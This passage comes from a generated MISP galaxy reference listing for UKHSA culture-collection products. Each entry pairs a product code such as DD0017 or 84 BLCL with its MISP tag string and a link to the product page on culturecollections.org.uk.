https://www.culturecollections.org.uk/nop/product/bv0700

BY0002

The tag is: *misp-galaxy:ukhsa-culture-collections="BY0002"*

Table 31337. Table References

Links
https://www.culturecollections.org.uk/nop/product/by0002

CE0001

The tag is: *misp-galaxy:ukhsa-culture-collections="CE0001"*

Table 31338. Table References

Links
https://www.culturecollections.org.uk/nop/product/ce0001

CR0007

The tag is: *misp-galaxy:ukhsa-culture-collections="CR0007"*

Table 31339. Table References

Links
https://www.culturecollections.org.uk/nop/product/cr0007

CU0004

The tag is: *misp-galaxy:ukhsa-culture-collections="CU0004"*

Table 31340. Table References

Links
https://www.culturecollections.org.uk/nop/product/cu0004

DD0017

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0017"*

Table 31341. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0017

DD0071

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0071"*

Table 31342. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0071

DD0097

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0097"*

Table 31343. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0097

DD0171

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0171"*

Table 31344. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0171

DD0185

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0185"*

Table 31345. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0185

DD0210

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0210"*

Table 31346. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0210

DD0227

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0227"*

Table 31347. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0227

DD0239

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0239"*

Table 31348. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0239

DD0254

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0254"*

Table 31349. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0254

DD0388

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0388"*

Table 31350. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0388

DD0389

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0389"*

Table 31351. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0389

DD0425

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0425"*

Table 31352. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0425

DD0486

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0486"*

Table 31353. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0486

DD0560

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0560"*

Table 31354. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0560

DD0610

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0610"*

Table 31355. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0610

DD0677

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0677"*

Table 31356. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0677

DD0710

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0710"*

Table 31357. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0710

DD0733

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0733"*

Table 31358. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0733

DD0749

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0749"*

Table 31359. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0749

DD0754

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0754"*

Table 31360. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0754

DD0779

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0779"*

Table 31361. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0779

DD0784

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0784"*

Table 31362. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0784

DD0849

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0849"*

Table 31363. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0849

DD0887

The tag is: *misp-galaxy:ukhsa-culture-collections="DD0887"*

Table 31364. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd0887

DD1018

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1018"*

Table 31365. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1018

DD1035

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1035"*

Table 31366. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1035

DD1082

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1082"*

Table 31367. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1082

DD1083

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1083"*

Table 31368. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1083

DD1092

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1092"*

Table 31369. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1092

DD1116

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1116"*

Table 31370. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1116

DD1129

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1129"*

Table 31371. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1129

DD1145

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1145"*

Table 31372. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1145

DD1166

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1166"*

Table 31373. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1166

DD1249

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1249"*

Table 31374. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1249

DD1289

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1289"*

Table 31375. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1289

DD1306

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1306"*

Table 31376. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1306

DD1359

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1359"*

Table 31377. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1359

DD1381

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1381"*

Table 31378. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1381

DD1398

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1398"*

Table 31379. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1398

DD1407

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1407"*

Table 31380. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1407

DD1467

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1467"*

Table 31381. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1467

DD1473

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1473"*

Table 31382. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1473

DD1482

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1482"*

Table 31383. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1482

DD1497

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1497"*

Table 31384. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1497

DD1551

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1551"*

Table 31385. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1551

DD1589

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1589"*

Table 31386. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1589

DD1597

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1597"*

Table 31387. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1597

DD1599

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1599"*

Table 31388. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1599

DD1688

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1688"*

Table 31389. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1688

DD1709

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1709"*

Table 31390. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1709

DD1742

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1742"*

Table 31391. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1742

DD1755

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1755"*

Table 31392. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1755

DD1783

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1783"*

Table 31393. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1783

DD1916

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1916"*

Table 31394. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1916

DD1922

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1922"*

Table 31395. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1922

DD1933

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1933"*

Table 31396. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1933

DD1958

The tag is: *misp-galaxy:ukhsa-culture-collections="DD1958"*

Table 31397. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd1958

DD2101

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2101"*

Table 31398. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2101

DD2110

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2110"*

Table 31399. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2110

DD2113

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2113"*

Table 31400. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2113

DD2156

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2156"*

Table 31401. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2156

DD2248

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2248"*

Table 31402. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2248

DD2253

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2253"*

Table 31403. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2253

DD2340

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2340"*

Table 31404. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2340

DD2345

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2345"*

Table 31405. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2345

DD2389

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2389"*

Table 31406. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2389

DD2419

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2419"*

Table 31407. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2419

DD2431

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2431"*

Table 31408. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2431

DD2450

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2450"*

Table 31409. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2450

DD2452

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2452"*

Table 31410. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2452

DD2490

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2490"*

Table 31411. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2490

DD2545

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2545"*

Table 31412. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2545

DD2565

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2565"*

Table 31413. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2565

DD2574

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2574"*

Table 31414. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2574

DD2589

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2589"*

Table 31415. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2589

DD2685

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2685"*

Table 31416. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2685

DD2699

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2699"*

Table 31417. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2699

DD2707

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2707"*

Table 31418. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2707

DD2835

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2835"*

Table 31419. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2835

DD2853

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2853"*

Table 31420. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2853

DD2867

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2867"*

Table 31421. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2867

DD2875

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2875"*

Table 31422. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2875

DD2893

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2893"*

Table 31423. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2893

DD2912

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2912"*

Table 31424. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2912

DD2935

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2935"*

Table 31425. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2935

DD2938

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2938"*

Table 31426. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2938

DD2941

The tag is: *misp-galaxy:ukhsa-culture-collections="DD2941"*

Table 31427. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd2941

DD3028

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3028"*

Table 31428. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3028

DD3087

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3087"*

Table 31429. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3087

DD3126

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3126"*

Table 31430. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3126

DD3154

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3154"*

Table 31431. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3154

DD3296

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3296"*

Table 31432. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3296

DD3303

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3303"*

Table 31433. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3303

DD3481

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3481"*

Table 31434. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3481

DD3550

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3550"*

Table 31435. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3550

DD3661

The tag is: *misp-galaxy:ukhsa-culture-collections="DD3661"*

Table 31436. Table References

Links
https://www.culturecollections.org.uk/nop/product/dd3661

FU0054

The tag is: *misp-galaxy:ukhsa-culture-collections="FU0054"*

Table 31437. Table References

Links
https://www.culturecollections.org.uk/nop/product/fu0054

FY0028

The tag is: *misp-galaxy:ukhsa-culture-collections="FY0028"*

Table 31438. Table References

Links
https://www.culturecollections.org.uk/nop/product/fy0028

HH0010

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0010"*

Table 31439. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0010

HH0244

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0244"*

Table 31440. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0244

HH0341

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0341"*

Table 31441. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0341

HH0354

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0354"*

Table 31442. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0354

HH0370

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0370"*

Table 31443. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0370

HH0377

The tag is: *misp-galaxy:ukhsa-culture-collections="HH0377"*

Table 31444. Table References

Links
https://www.culturecollections.org.uk/nop/product/hh0377

HQ0004

The tag is: *misp-galaxy:ukhsa-culture-collections="HQ0004"*

Table 31445. Table References

Links
https://www.culturecollections.org.uk/nop/product/hq0004

JJ0052

The tag is: *misp-galaxy:ukhsa-culture-collections="JJ0052"*

Table 31446. Table References

Links
https://www.culturecollections.org.uk/nop/product/jj0052

KW0009

The tag is: *misp-galaxy:ukhsa-culture-collections="KW0009"*

Table 31447. Table References

Links
https://www.culturecollections.org.uk/nop/product/kw0009

MVA28C

The tag is: *misp-galaxy:ukhsa-culture-collections="MVA28C"*

Table 31448. Table References

Links
https://www.culturecollections.org.uk/nop/product/mva28c

QQ0249

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0249"*

Table 31449. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0249

QQ0373

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0373"*

Table 31450. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0373

QQ0484

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0484"*

Table 31451. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0484

QQ0594

The tag is: *misp-galaxy:ukhsa-culture-collections="QQ0594"*

Table 31452. Table References

Links
https://www.culturecollections.org.uk/nop/product/qq0594

XP0014

The tag is: *misp-galaxy:ukhsa-culture-collections="XP0014"*

Table 31453. Table References

Links
https://www.culturecollections.org.uk/nop/product/xp0014

84 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="84 BLCL"*

Table 31454. Table References

Links
https://www.culturecollections.org.uk/nop/product/84-blcl

47 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="47 BLCL"*

Table 31455. Table References

Links
https://www.culturecollections.org.uk/nop/product/47-blcl

90 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="90 BLCL"*

Table 31456. Table References

Links
https://www.culturecollections.org.uk/nop/product/90-blcl

222 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="222 BLCL"*

Table 31457. Table References

Links
https://www.culturecollections.org.uk/nop/product/222-blcl

127 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="127 BLCL"*

Table 31458. Table References

Links
https://www.culturecollections.org.uk/nop/product/127-blcl

202 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="202 BLCL"*

Table 31459. Table References

Links
https://www.culturecollections.org.uk/nop/product/202-blcl

149 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="149 BLCL"*

Table 31460. Table References

Links
https://www.culturecollections.org.uk/nop/product/149-blcl

227 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="227 BLCL"*

Table 31461. Table References

Links
https://www.culturecollections.org.uk/nop/product/227-blcl

166 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="166 BLCL"*

Table 31462. Table References

Links
https://www.culturecollections.org.uk/nop/product/166-blcl

201 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="201 BLCL"*

Table 31463. Table References

Links
https://www.culturecollections.org.uk/nop/product/201-blcl

199 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="199 BLCL"*

Table 31464. Table References

Links
https://www.culturecollections.org.uk/nop/product/199-blcl

216 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="216 BLCL"*

Table 31465. Table References

Links
https://www.culturecollections.org.uk/nop/product/216-blcl

158 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="158 BLCL"*

Table 31466. Table References

Links
https://www.culturecollections.org.uk/nop/product/158-blcl

256 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="256 BLCL"*

Table 31467. Table References

Links
https://www.culturecollections.org.uk/nop/product/256-blcl

147 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="147 BLCL"*

Table 31468. Table References

Links
https://www.culturecollections.org.uk/nop/product/147-blcl

76 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="76 BLCL"*

Table 31469. Table References

Links
https://www.culturecollections.org.uk/nop/product/76-blcl

168 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="168 BLCL"*

Table 31470. Table References

Links
https://www.culturecollections.org.uk/nop/product/168-blcl

156 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="156 BLCL"*

Table 31471. Table References

Links
https://www.culturecollections.org.uk/nop/product/156-blcl

C.M.L.

The tag is: *misp-galaxy:ukhsa-culture-collections="C.M.L."*

Table 31472. Table References

Links
https://www.culturecollections.org.uk/nop/product/cml

M.R.

The tag is: *misp-galaxy:ukhsa-culture-collections="M.R."*

Table 31473. Table References

Links
https://www.culturecollections.org.uk/nop/product/mr

M7

The tag is: *misp-galaxy:ukhsa-culture-collections="M7"*

Table 31474. Table References

Links
https://www.culturecollections.org.uk/nop/product/m7

ZM-FC

The tag is: *misp-galaxy:ukhsa-culture-collections="ZM-FC"*

Table 31475. Table References

Links
https://www.culturecollections.org.uk/nop/product/zm-fc

BGE

The tag is: *misp-galaxy:ukhsa-culture-collections="BGE"*

Table 31476. Table References

Links
https://www.culturecollections.org.uk/nop/product/bge

CB6B

The tag is: *misp-galaxy:ukhsa-culture-collections="CB6B"*

Table 31477. Table References

Links
https://www.culturecollections.org.uk/nop/product/cb6b

T7526

The tag is: *misp-galaxy:ukhsa-culture-collections="T7526"*

Table 31478. Table References

Links
https://www.culturecollections.org.uk/nop/product/t7526

CHA,AJ

The tag is: *misp-galaxy:ukhsa-culture-collections="CHA,AJ"*

Table 31479. Table References

Links
https://www.culturecollections.org.uk/nop/product/chaaj

CHI007

The tag is: *misp-galaxy:ukhsa-culture-collections="CHI007"*

Table 31480. Table References

Links
https://www.culturecollections.org.uk/nop/product/chi007

CHI013

The tag is: *misp-galaxy:ukhsa-culture-collections="CHI013"*

Table 31481. Table References

Links
https://www.culturecollections.org.uk/nop/product/chi013

DCH-006

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH-006"*

Table 31482. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch-006

DCH007

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH007"*

Table 31483. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch007

DCH-009

The tag is: *misp-galaxy:ukhsa-culture-collections="DCH-009"*

Table 31484. Table References

Links
https://www.culturecollections.org.uk/nop/product/dch-009

E4181324

The tag is: *misp-galaxy:ukhsa-culture-collections="E4181324"*

Table 31485. Table References

Links
https://www.culturecollections.org.uk/nop/product/e4181324

HAY,KJ

The tag is: *misp-galaxy:ukhsa-culture-collections="HAY,KJ"*

Table 31486. Table References

Links
https://www.culturecollections.org.uk/nop/product/haykj

HIN,S

The tag is: *misp-galaxy:ukhsa-culture-collections="HIN,S"*

Table 31487. Table References

Links
https://www.culturecollections.org.uk/nop/product/hins

J0528239

The tag is: *misp-galaxy:ukhsa-culture-collections="J0528239"*

Table 31488. Table References

Links
https://www.culturecollections.org.uk/nop/product/j0528239

MAD,MF

The tag is: *misp-galaxy:ukhsa-culture-collections="MAD,MF"*

Table 31489. Table References

Links
https://www.culturecollections.org.uk/nop/product/madmf

SOL,CA

The tag is: *misp-galaxy:ukhsa-culture-collections="SOL,CA"*

Table 31490. Table References

Links
https://www.culturecollections.org.uk/nop/product/solca

WBD001088

The tag is: *misp-galaxy:ukhsa-culture-collections="WBD001088"*

Table 31491. Table References

Links
https://www.culturecollections.org.uk/nop/product/wbd001088

WIL,M

The tag is: *misp-galaxy:ukhsa-culture-collections="WIL,M"*

Table 31492. Table References

Links
https://www.culturecollections.org.uk/nop/product/wilm

WON,I

The tag is: *misp-galaxy:ukhsa-culture-collections="WON,I"*

Table 31493. Table References

Links
https://www.culturecollections.org.uk/nop/product/woni

WOO,EM

The tag is: *misp-galaxy:ukhsa-culture-collections="WOO,EM"*

Table 31494. Table References

Links
https://www.culturecollections.org.uk/nop/product/wooem

PITOUT

The tag is: *misp-galaxy:ukhsa-culture-collections="PITOUT"*

Table 31495. Table References

Links
https://www.culturecollections.org.uk/nop/product/pitout

BIN40

The tag is: *misp-galaxy:ukhsa-culture-collections="BIN40"*

Table 31496. Table References

Links
https://www.culturecollections.org.uk/nop/product/bin40

DEM

The tag is: *misp-galaxy:ukhsa-culture-collections="DEM"*

Table 31497. Table References

Links
https://www.culturecollections.org.uk/nop/product/dem

TEM

The tag is: *misp-galaxy:ukhsa-culture-collections="TEM"*

Table 31498. Table References

Links
https://www.culturecollections.org.uk/nop/product/tem

HAM001

The tag is: *misp-galaxy:ukhsa-culture-collections="HAM001"*

Table 31499. Table References

Links
https://www.culturecollections.org.uk/nop/product/ham001

MANIKA

The tag is: *misp-galaxy:ukhsa-culture-collections="MANIKA"*

Table 31500. Table References

Links
https://www.culturecollections.org.uk/nop/product/manika

WJR076

The tag is: *misp-galaxy:ukhsa-culture-collections="WJR076"*

Table 31501. Table References

Links
https://www.culturecollections.org.uk/nop/product/wjr076

EK-TOK

The tag is: *misp-galaxy:ukhsa-culture-collections="EK-TOK"*

Table 31502. Table References

Links
https://www.culturecollections.org.uk/nop/product/ek-tok

SM

The tag is: *misp-galaxy:ukhsa-culture-collections="SM"*

Table 31503. Table References

Links
https://www.culturecollections.org.uk/nop/product/sm

JESTHOM

The tag is: *misp-galaxy:ukhsa-culture-collections="JESTHOM"*

Table 31504. Table References

Links
https://www.culturecollections.org.uk/nop/product/jesthom

DKB

The tag is: *misp-galaxy:ukhsa-culture-collections="DKB"*

Table 31505. Table References

Links
https://www.culturecollections.org.uk/nop/product/dkb

BEL8-CC

The tag is: *misp-galaxy:ukhsa-culture-collections="BEL8-CC"*

Table 31506. Table References

Links
https://www.culturecollections.org.uk/nop/product/bel8-cc

BCK

The tag is: *misp-galaxy:ukhsa-culture-collections="BCK"*

Table 31507. Table References

Links
https://www.culturecollections.org.uk/nop/product/bck

BONA

The tag is: *misp-galaxy:ukhsa-culture-collections="BONA"*

Table 31508. Table References

Links
https://www.culturecollections.org.uk/nop/product/bona

591

The tag is: *misp-galaxy:ukhsa-culture-collections="591"*

Table 31509. Table References

Links
https://www.culturecollections.org.uk/nop/product/591

CRB

The tag is: *misp-galaxy:ukhsa-culture-collections="CRB"*

Table 31510. Table References

Links
https://www.culturecollections.org.uk/nop/product/crb

THAI742

The tag is: *misp-galaxy:ukhsa-culture-collections="THAI742"*

Table 31511. Table References

Links
https://www.culturecollections.org.uk/nop/product/thai742

VEN

The tag is: *misp-galaxy:ukhsa-culture-collections="VEN"*

Table 31512. Table References

Links
https://www.culturecollections.org.uk/nop/product/ven

KLO

The tag is: *misp-galaxy:ukhsa-culture-collections="KLO"*

Table 31513. Table References

Links
https://www.culturecollections.org.uk/nop/product/klo

LUY

The tag is: *misp-galaxy:ukhsa-culture-collections="LUY"*

Table 31514. Table References

Links
https://www.culturecollections.org.uk/nop/product/luy

CALOGERO

The tag is: *misp-galaxy:ukhsa-culture-collections="CALOGERO"*

Table 31515. Table References

Links
https://www.culturecollections.org.uk/nop/product/calogero

CTM4955926

The tag is: *misp-galaxy:ukhsa-culture-collections="CTM4955926"*

Table 31516. Table References

Links
https://www.culturecollections.org.uk/nop/product/ctm4955926

YGY 016

The tag is: *misp-galaxy:ukhsa-culture-collections="YGY 016"*

Table 31517. Table References

Links
https://www.culturecollections.org.uk/nop/product/ygy-016

39 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="39 BLCL"*

Table 31518. Table References

Links
https://www.culturecollections.org.uk/nop/product/39-blcl

129 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="129 BLCL"*

Table 31519. Table References

Links
https://www.culturecollections.org.uk/nop/product/129-blcl

164 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="164 BLCL"*

Table 31520. Table References

Links
https://www.culturecollections.org.uk/nop/product/164-blcl

183 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="183 BLCL"*

Table 31521. Table References

Links
https://www.culturecollections.org.uk/nop/product/183-blcl

78 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="78 BLCL"*

Table 31522. Table References

Links
https://www.culturecollections.org.uk/nop/product/78-blcl

230 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="230 BLCL"*

Table 31523. Table References

Links
https://www.culturecollections.org.uk/nop/product/230-blcl

245 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="245 BLCL"*

Table 31524. Table References

Links
https://www.culturecollections.org.uk/nop/product/245-blcl

246 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="246 BLCL"*

Table 31525. Table References

Links
https://www.culturecollections.org.uk/nop/product/246-blcl

252 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="252 BLCL"*

Table 31526. Table References

Links
https://www.culturecollections.org.uk/nop/product/252-blcl

251 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="251 BLCL"*

Table 31527. Table References

Links
https://www.culturecollections.org.uk/nop/product/251-blcl

197 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="197 BLCL"*

Table 31528. Table References

Links
https://www.culturecollections.org.uk/nop/product/197-blcl

193 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="193 BLCL"*

Table 31529. Table References

Links
https://www.culturecollections.org.uk/nop/product/193-blcl

170 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="170 BLCL"*

Table 31530. Table References

Links
https://www.culturecollections.org.uk/nop/product/170-blcl

242 BLCL

The tag is: *misp-galaxy:ukhsa-culture-collections="242 BLCL"*

Table 31531. Table References

Links
